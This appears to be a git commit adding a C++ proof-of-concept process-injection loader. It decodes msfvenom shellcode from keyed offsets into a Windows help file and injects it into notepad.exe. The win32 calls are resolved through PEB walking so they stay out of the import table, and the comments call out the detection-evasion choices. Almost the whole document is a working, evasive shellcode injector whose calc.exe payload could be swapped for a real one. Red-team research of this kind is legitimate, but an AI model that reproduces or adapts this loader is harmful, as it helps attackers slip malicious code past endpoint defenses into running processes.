Initial commit of alphabet-peb-loader PoC

This commit is contained in:
toneillcodes
2026-04-07 18:19:22 -04:00
parent 9e073fc830
commit e316669669
+276
View File
@@ -0,0 +1,276 @@
/*
* alphabet-peb-loader.cpp: injecting calc.exe msfvenom shellcode that has been Alphabet Soup encoded into a remote process using dynamic function resolution via PEB-walking
* shellcode: msfvenom -p windows/x64/exec CMD=calc.exe -f C EXITFUNC=thread
* compile: cl.exe /D"_UNICODE" /D"UNICODE" /W0 /EHsc /I "..\includes" alphabet-peb-loader.cpp ..\includes\peb-eat-utils.cpp ..\includes\utils.cpp /Fe:alphabet-peb-loader.exe
* Usage: alphabet-peb-loader.exe <PID>
*/
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
#include "../includes/utils.h" // crt replacements
#include "../includes/peb-eat-utils.h" // custom peb/eat walking functions
// https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex
typedef LPVOID(WINAPI* P_VirtualAllocEx)(
HANDLE pHandle,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
// https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotectex
typedef BOOL(WINAPI* P_VirtualProtectEx) (
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect
);
// https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory
typedef BOOL(WINAPI* P_WriteProcessMemory)(
HANDLE hProcess,
LPVOID lpBaseAddress,
LPCVOID lpBuffer,
SIZE_T nSize,
SIZE_T *lpNumberOfBytesWritten
);
// https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread
typedef HANDLE(WINAPI* P_CreateRemoteThread) (
HANDLE hProcess,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
// Adapted from Pavel Yosifovich's Enumerate Processes (part 1): https://www.youtube.com/watch?v=IZULG6I4z5U
DWORD FindPidByName(LPCWSTR processName) {
DWORD foundpid = 0;
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) {
return foundpid;
}
PROCESSENTRY32 pe;
pe.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hSnapshot, &pe)) {
do {
if (_wcsicmp(processName, pe.szExeFile) == 0) {
foundpid = pe.th32ProcessID;
break;
}
} while (Process32Next(hSnapshot, &pe));
}
CloseHandle(hSnapshot);
return foundpid;
}
// payload recipe generated by python helper
unsigned long long alphabetSoup[] = {
4660, 18274, 19562, 67286, 67490, 82347, 58255, 55850, 11517, 78235, 11207, 67312,
63106, 53765, 76979, 51487, 61601, 42896, 49663, 31257, 33927, 40826, 97872, 60471,
39179, 80449, 30873, 55773, 73358, 18824, 84126, 43050, 48375, 36078, 69535, 55281,
29350, 60425, 46156, 70929, 27331, 60546, 63514, 43138, 8061, 32171, 76749, 57105,
40666, 42570, 54106, 5381, 26667, 96273, 23041, 20926, 45105, 83209, 43016, 36926,
19584, 759, 31799, 96385, 29277, 71625, 658, 20898, 46156, 75091, 36562, 63217,
32252, 18276, 20082, 46406, 96105, 97935, 69259, 82403, 67571, 12027, 14827, 10746,
61409, 65527, 75011, 96596, 32632, 68718, 78104, 83115, 64316, 82052, 33768, 57141,
72283, 41134, 95702, 84466, 85673, 3696, 26886, 96893, 39483, 23271, 41651, 3362,
68468, 55281, 6720, 82986, 44277, 1705, 28515, 71249, 59249, 79327, 58868, 74132,
49433, 19674, 22568, 43897, 33427, 31320, 88091, 34531, 64614, 45042, 95075, 76458,
28307, 63163, 651, 33746, 38322, 2038, 42752, 51820, 67781, 61382, 67207, 16453,
58890, 60662, 46979, 96290, 4814, 5913, 83115, 1403, 47113, 68324, 85603, 61391,
80038, 88384, 26096, 25204, 52013, 1705, 35941, 94816, 54723, 36104, 72645, 33370,
76112, 31968, 35382, 72858, 32662, 97875, 40082, 69989, 74486, 63000, 78699, 69751,
51524, 18295, 57306, 64727, 47863, 40802, 16522, 24833, 32153, 88740, 40255, 18669,
61227, 45792, 51937, 44065, 56572, 67775, 56860, 25498, 42171, 63173, 32571, 32622,
18221, 29795, 7983, 10965, 11823, 9950, 11459, 11186, 13521, 11448, 87135, 54212,
78303, 39710, 895, 16258, 64024, 23012, 43353, 53123, 97998, 82785, 79132, 78332,
55762, 32453, 82913, 24997, 41308, 60233, 94286, 72408, 59332, 95692, 70915, 44640,
86190, 30584, 46428, 86887, 25949, 83133, 26623, 55014, 25618, 61978, 27560, 35853,
31974, 33604, 4916, 45041, 68947, 64535, 86981, 18318, 74405, 16233, 71645, 66637,
39031, 74272, 21532, 94788, 3193, 5930, 3871, 78261, 56407, 33868, 56831, 4485,
10670
};
const size_t soupSize = sizeof(alphabetSoup) / sizeof(unsigned long long);
int main() {
printf("[*] Alphabet Soup PoC Remote Loader\n");
P_VirtualAllocEx myVirtualAllocEx = nullptr;
P_WriteProcessMemory myWriteProcessMemory = nullptr;
P_VirtualProtectEx myVirtualProtectEx = nullptr;
P_CreateRemoteThread myCreateRemoteThread = nullptr;
// Extract the key from the first element
DWORD activeKey = (DWORD)alphabetSoup[0];
size_t payloadSize = soupSize - 1; // Real shellcode size is total minus the key
// Map the dictionary file
printf("[*] Mapping dictionary\n");
HANDLE hFile = CreateFileA("C:\\Windows\\Help\\mui\\0409\\cliconf.chm", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
HANDLE hMap = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
LPVOID pChmBase = MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0);
printf("[*] Locating remote process\n");
DWORD pid = 0;
const wchar_t* processName = L"notepad.exe";
pid = FindPidByName(processName);
if (pid == 0) {
printf("[ERROR] Failed to obtain process ID!\n");
return -1;
}
printf("[*] Running PI with target PID: %u\n", pid);
// Open a handle to the current process, this must be passed to VirtualAllocEx
HANDLE pHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(pid));
if (pHandle == NULL) {
printf("Failed to acquire process handle!\n");
return -1;
}
void* teb = GetLocalTebAddress();
printf("Current process TEB address: %p\n", teb);
// maybe move this to a GetLocalPebAddress function?
// this is good for demonstration but we can really skip straight to the PEB
void* peb = NULL;
#ifdef _WIN64
// On x64, PEB is at TEB + 0x60
peb = *(void**)((unsigned char*)teb + 0x60);
#else
// On x86, PEB is at TEB + 0x30
// not currently used, but good to have around
peb = *(void**)((unsigned char*)teb + 0x30);
#endif
printf("Current process PEB address (TEB + offset): %p\n", peb);
// https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb#remarks
// Assuming peb_address holds the valid memory location of the PEB
PPEB peb_ptr = (PPEB)peb;
// Accessing the 'BeingDebugged' flag
if (peb_ptr->BeingDebugged) {
printf("Debugger is attached\n");
}
else {
printf("No debugger detected\n");
}
// resolve the module base
PVOID kernel32Base = GetModuleBaseManual(peb_ptr, "kernel32.dll");
// Use GPAManualByName to get the address of the VirtualAllocEx function
myVirtualAllocEx = (P_VirtualAllocEx)GPAManualByName((HMODULE) kernel32Base, "VirtualAllocEx");
if (myVirtualAllocEx == nullptr) {
printf("[ERROR] Failed to resolve VirtualAllocEx. Error: %u\n", GetLastError());
return -1;
}
// Use GetProcAddress to get the address of the WriteProcessMemory function
myWriteProcessMemory = (P_WriteProcessMemory)GPAManualByName((HMODULE) kernel32Base, "WriteProcessMemory");
if (myWriteProcessMemory == nullptr) {
printf("[ERROR] Failed to resolve WriteProcessMemory. Error: %u\n", GetLastError());
return -1;
}
// Use GetProcAddress to get the address of the VirtualProtectEx function
myVirtualProtectEx = (P_VirtualProtectEx)GPAManualByName((HMODULE) kernel32Base, "VirtualProtectEx");
if (myVirtualProtectEx == nullptr) {
printf("[ERROR] Failed to resolve VirtualProtectEx. Error: %u\n", GetLastError());
return -1;
}
// Use GetProcAddress to get the address of the CreateRemoteThread function
myCreateRemoteThread = (P_CreateRemoteThread)GPAManualByName((HMODULE) kernel32Base, "CreateRemoteThread");
if (myCreateRemoteThread == nullptr) {
printf("[ERROR] Failed to resolve CreateRemoteThread. Error: %u\n", GetLastError());
return -1;
}
printf("[*] Successfully opened handle to PID: %u\n", pid);
// Allocate a block of memory that can store our shellcode, RW memory protection is slightly less suspicious
LPVOID bufferAddress = myVirtualAllocEx(pHandle, NULL, payloadSize, (MEM_COMMIT | MEM_RESERVE), PAGE_READWRITE);
if (bufferAddress == NULL) {
printf("[ERROR] Failed to allocate memory within the process (PID: %u)! Error: %lu\n", pid, GetLastError());
return -1;
}
printf("[*] Memory allocated at: 0x%016llx\n", bufferAddress);
printf("[*] Decoding indices and writing directly to remote process...\n");
for (size_t i = 1; i < soupSize; i++) {
// Decode the offset
unsigned long long realOffset = alphabetSoup[i];
if (activeKey != 0) { realOffset ^= activeKey; }
// TODO: Is this offset within our mapped source?
// Calculate sourceFileSize earlier)
// if (realOffset >= sourceFileSize) { break; }
BYTE targetByte = *((BYTE*)pChmBase + (DWORD)realOffset);
// Calculate remote write destination (Base + offset)
LPVOID remoteAddressForByte = (LPVOID)((BYTE*)bufferAddress + (i - 1));
// Write a single byte directly to the remote process
if (!myWriteProcessMemory(pHandle, remoteAddressForByte, &targetByte, 1, NULL)) {
printf("[!] Failed to write byte at index %zu\n", i);
VirtualFreeEx(pHandle, bufferAddress, 0, MEM_RELEASE);
return -1;
}
}
// clean up our dictionary
UnmapViewOfFile(pChmBase);
// Update the memory protection value from RW to RWX
DWORD lpOldProtect = NULL;
BOOL updateMemoryProtection = myVirtualProtectEx(pHandle, bufferAddress, payloadSize, PAGE_EXECUTE_READWRITE, &lpOldProtect);
if (updateMemoryProtection == false) {
printf("[ERROR] Failed to update memory protection (updating from RW to RWX)! Using addresss: 0x%016llx, Error: %lu\n", bufferAddress, GetLastError());
VirtualFreeEx(pHandle, bufferAddress, 0, MEM_RELEASE);
return -1;
}
// Create a new thread using the shellcode buffer address as the starting point
HANDLE tHandle = myCreateRemoteThread(pHandle, NULL, 0, (LPTHREAD_START_ROUTINE)bufferAddress, NULL, 0, NULL);
if (tHandle == NULL) {
printf("[ERROR] Failed to create thread within the process (PID: %u)! Error: %lu\n", pid, GetLastError());
VirtualFreeEx(pHandle, bufferAddress, 0, MEM_RELEASE);
return -1;
}
// Wait for the thread to return - not required, but it definitely makes the demonstration much cleaner
printf("[*] Waiting for the thread to return...\n");
WaitForSingleObject(tHandle, INFINITE);
// Update the memory protection value from RWX to RW
updateMemoryProtection = myVirtualProtectEx(pHandle, bufferAddress, payloadSize, PAGE_READWRITE, &lpOldProtect);
if (updateMemoryProtection == false) {
printf("[ERROR] Failed to update memory protection (toggling back to RW)! Using addresss: 0x%016llx, Error: %lu\n", bufferAddress, GetLastError());
VirtualFreeEx(pHandle, bufferAddress, 0, MEM_RELEASE);
return -1;
}
// Clean up open handles and free the shellcode buffer memory
VirtualFreeEx(pHandle, bufferAddress, 0, MEM_RELEASE);
CloseHandle(hMap);
CloseHandle(hFile);
CloseHandle(pHandle);
CloseHandle(tHandle);
printf("[*] Process injection complete.\n");
return 0;
}